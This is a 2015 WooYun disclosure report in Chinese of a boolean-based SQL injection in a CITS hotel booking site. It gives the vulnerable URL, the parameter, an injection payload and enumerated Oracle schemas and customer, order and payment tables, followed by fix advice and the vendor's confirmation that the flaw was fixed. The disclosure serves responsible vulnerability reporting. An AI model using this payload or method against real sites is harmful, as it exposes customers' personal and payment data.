漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0110723
漏洞标题:中国国旅某站Oracle注入(泄露大量敏感信息例如订单)
相关厂商:中国国旅
漏洞作者: 大懒
提交时间:2015-04-28 10:07
修复时间:2015-05-14 10:28
公开时间:2015-05-14 10:28
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:12
漏洞状态:厂商已经修复
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-04-28: 细节已通知厂商并且等待厂商处理中
2015-04-29: 厂商已经确认,细节仅向厂商公开
2015-05-09: 细节向核心白帽子及相关领域专家公开
2015-05-14: 厂商已经修复漏洞并主动公开,细节向公众公开
简要描述:
中国国旅某站Oracle注入
详细说明:
URL:http://hotel.cits.cn/hotel/detail/35.html?city_id=
存在问题的参数city_id
这里存在的问题是布尔注入
'%20and%20'x'='x
available databases [10]:
[*] CITSONLINE
[*] DBSNMP
[*] GGADMIN
[*] OMWB_EMULATION
[*] OUTLN
[*] SYS
[*] SYSTEM
[*] TSMSYS
[*] VERIFY
[*] WMSYS
这里第一个数据库挺重要的,里面有大量的表
ACCEPT_TAB 这个表有100多万
CUSTOMER
CUSTOM_INFO
应该存着顾客信息
ORDER_ALARM |
| ORDER_ALARM_VER |
| ORDER_ALARM_WEB |
| ORDER_ANSWER |
| ORDER_ANSWER_HIS |
| ORDER_COST |
| ORDER_COST_INFO |
| ORDER_CUMCENT |
| ORDER_CUMCENT_HIS |
| ORDER_CWNO |
| ORDER_DZ |
| ORDER_FLOW_HIS_INFO |
| ORDER_FLOW_INFO |
| ORDER_FUNC |
| ORDER_INFO |
| ORDER_INFO_BAK |
| ORDER_INFO_HIS |
| ORDER_INTENT |
| ORDER_INTENT_HIS |
| ORDER_SUPP_ACCEPT_APP_INFO |
| ORDER_SUPP_ACCEPT_INFO |
| ORDER_SUPP_PAY_APP_INFO |
| ORDER_SUPP_PAY_INFO |
| ORDER_TEMPLATE |
| ORDER_TICKET_RELATION |
| OREDER_ACCEPT_TAB |
| OREDER_PAY_TAB |
| PAY |
| PAYBUFFER |
| PAYMENT_ADD |
很多订单 支付的表
漏洞证明:
如上
修复方案:
1.过滤
2.结构化构造sql查询语句,数据流和代码流分离
版权声明:转载请注明来源 大懒@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2015-04-29 16:23
厂商回复:
非常感谢您的报告,问题已处理,十分感谢您对中国国旅的支持。
最新状态:
2015-05-14:已采用结构化SQL语句,并针对post参数做了过滤